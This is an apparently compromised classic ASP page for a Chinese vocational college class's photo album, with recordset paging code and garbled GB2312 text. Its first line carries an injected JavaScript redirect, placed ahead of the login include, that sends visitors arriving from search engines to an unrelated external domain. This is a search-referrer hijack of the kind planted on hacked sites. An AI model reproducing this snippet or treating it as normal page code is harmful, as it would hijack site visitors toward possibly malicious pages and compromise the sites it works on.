d:\wwwroot\wuchunhua\ͨѶ¼\photo\photo.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="chklogin.asp"-->
002: <!--#include file="conn.asp"-->
003: <%
004: dim rs
005: dim sql
006: msg_per_page = 20
007: set rs = server.createobject("adodb.recordset")
008: sql="select * from photo order by time DESC"
009: rs.cursorlocation = 3
010:
011: rs.pagesize = msg_per_page
012: rs.open sql,conn,0,1
013: %
>
014: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
015: "http://www.w3.org/TR/html4/loose.dtd">
016: <html>
017: <head>
018: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
019: <link href="../css.css" rel="stylesheet" type="text/css">
020: <title>ÆëÆë¹þ¶ûְҵѧԺ¼ÆÈí052--Ïà²á</title>
021: <style type="text/css">
022: <!--
023: .style3 {font-size: 1pt;
024:    color: #FFFFFF;
025: }
026: .ziti {font-family: "ËÎÌå";
027:    font-size: 12px;
028:    font-weight: bold;
029:    color: #FFFFFF;
030: }
031: .ziti1 {font-size: 12px;
032:    font-weight: normal;
033:    color: #000000;
034: }
035: .ziti2 {font-family: "ËÎÌå";
036:    font-size: 12px;
037:    font-weight: bold;
038:    color: #FFFFFF;
039: }
040: .ziti2 {   font-family: "ËÎÌå";
041:    font-size: 12px;
042:    font-weight: normal;
043:    color: #000000;
044: }
045: body {
046:    background-image: url('../pic/xian.jpg');
047: }
048: .ziti3 {
049:    font-family: "ËÎÌå";
050:    font-size: 14px;
051:    font-weight: normal;
052:    color: #000000;
053: }
054: -->

055: </style>
056: </head>
057:
058: <body>
059: <table width="775" border="0" align="center" cellpadding="0" cellspacing="0">
060:   <tr>
061:     <th scope="col"><table width="775" border="0" cellspacing="0" cellpadding="0">
062:         <tr>
063:           <th scope="col">
064:           <img src="../pic/toplogo.jpg" width="775" height="80"></th>
065:         </tr>
066:         <tr>
067:           <td height="2"><span class="style3">1</span></td>
068:         </tr>
069:         <tr>
070:           <td height="20" background="../pic/tiao1.gif"><table width="775" border="0" cellpadding="0" cellspacing="0">
071:               <tr class="ziti">
072:                 <th scope="col"><a href="../logined.asp">Ê×Ò³</a></th>
073:                 <th scope="col"><a href="../photo/photo.asp">Ïà²á</a></th>
074:                 <th scope="col"><a href="../liuyanban/liuyan.asp">ÁôÑÔ±¾</a></th>
075:                 <th scope="col"><a href="../xys/">ÐíÔ¸°å</a></th>
076:                 <th scope="col"><a href="../xiaozhitiao/xiaozhitiao1.asp">ÇÄÇÄ»°</a></th>
077:                 <th scope="col"><a href="../zlx/zlx.asp">×ÊÁÏÏ»</a></th>
078:                 <th scope="col">¹ÜÀí</th>
079:                 <th scope="col"><a href="../denglu/denglu.asp">µÇ½</a></th>
080:               </tr>
081:           </table></td>
082:         </tr>
083:     </table></th>
084:   </tr>
085:   <tr>
086:     <td height="227" align="center" valign="top" class="style3"> 1
087:       <table border="0" style="border-collapse: collapse" bordercolor="#FFFFFF" width="100%" id="AutoNumber1" bgcolor="#D0E8FF" cellspacing="1">
088:         <tr>
089:           <td><p align="left"><a href=uploadimg.asp><font class=ziti2>¡¾ ÉÏ´«ÕÕÆ¬ ¡¿</font></a></td>
090:         </tr>
091:         <%
092: if err.number<>0 then
093: response.write "Êý¾Ý¿â²Ù×÷ʧ°Ü£º" & err.description
094: err.clear
095: else
096: if not (rs.eof and rs.bof) then
097: totalrec = RS.RecordCount
098: if rs.recordcount mod msg_per_page = 0 then
099: n = rs.recordcount\msg_per_page
100: else
101: n = rs.recordcount\msg_per_page+1
102: end if
103:
104: currentpage = request("page")
105: If currentpage <> "" then
106: currentpage = cint(currentpage)
107: if currentpage < 1 then
108: currentpage = 1
109: end if
110: if err.number <> 0 then
111: err.clear
112: currentpage = 1
113: end if
114: else
115: currentpage = 1
116: End if
117: if currentpage*msg_per_page > totalrec and not((currentpage-1)*msg_per_page < totalrec)then
118: currentPage=1
119: end if
120: rs.absolutepage = currentpage
121: rowcount = rs.pagesize
122: %
>
123:         <%
124: dim r
125: dim j
126: dim k
127: r=0
128: while not rs.eof and rowcount > 0
129: if r mod 5=0 then
130:   row="<tr>"
131: else
132:   row="&nbsp;"
133: end if
134: r=r+1
135: response.write(row)
136: response.write("<td width=100 class=ziti2 align=center>" & "<a target=_blank href=photoview.asp?id=" & rs("id") & "><img width=80 height=60 border=0 src=uploadimg/" & rs("url") & "></a><p>")
137: response.write("ÉÏ´«ÈË:<a target=_blank href=../zlx/zlx2.asp?id=" & rs("name") & "><font color=#000000>" & rs("name") & "</font></a><br>")
138: response.write(rs("time") & "<br>")
139: rowcount=rowcount-1
140: rs.MoveNext
141: wend
142: end if
143: end if
144: rs.close
145: set rs=nothing
146: conn.close
147: set conn=nothing
148: %
>
149:       </table></td>
150:   </tr>
151:   <tr>
152:     <td height="20" class="ziti1">
153:     <table border="0" align="center">
154: <tr>
155: <td align="center" valign="middle" class="ziti1">
156: <%call listPages()%>
157: </td>
158: </tr>
159: </table>
160:     <span class="ziti1">
161:     <%
162: sub listPages()
163: for i=0 to n\msg_per_page-1
164: for j=1 to msg_per_page
165: %
>
166:     <b>
167:     <a href="<%=request.ServerVariables("script_name")%>?page=<%=i*msg_per_page+j %>">
168:     <font color="#000000" class="ziti1">[
169:     <% =i*msg_per_page+j %>
170:     ]</font></a></b></font>&nbsp;&nbsp;
171:     <%
172: next
173: next
174: EndPage = n mod msg_per_page
175: for j=1 to EndPage
176: %
>
177:     <b>
178:     <a href="<%=request.ServerVariables("script_name")%>?page=<% =i*msg_per_page+j %>">
179:     <font color="#000000" class="ziti1">[
180:     <% =i*msg_per_page+j %>
181:     ]</font></a></b>
182:     <%next%>
183:     <br>
184:     <b>
185:     <font size="2" class="ziti1">µ±Ç°Ò³:<%=currentpage%>/<%=n%>×ÜÒ³Êý &nbsp;&nbsp;<%=msg_per_page%>ÕÅÕÕÆ¬/Ò³ &nbsp;&nbsp;×ÜÕÕÆ¬Êý:<%=totalrec%>ÕÅ</font></b><font size="2">
186: <%end sub%>
187:     </font></span>    
188:
189: </td>
190:   </tr>
191:   <tr>
192:     <td height="33" class="ziti1"><hr>
193:         <div align="center"><span class="ziti1">°æÈ¨ËùÓÐ &copy ÆëÆë¹þ¶ûְҵѧԺ¼ÆËã»úÈí¼þ052°à</span></div></td>
194:   </tr>
195: </table>
196: </body>
197: </html>
198:
199: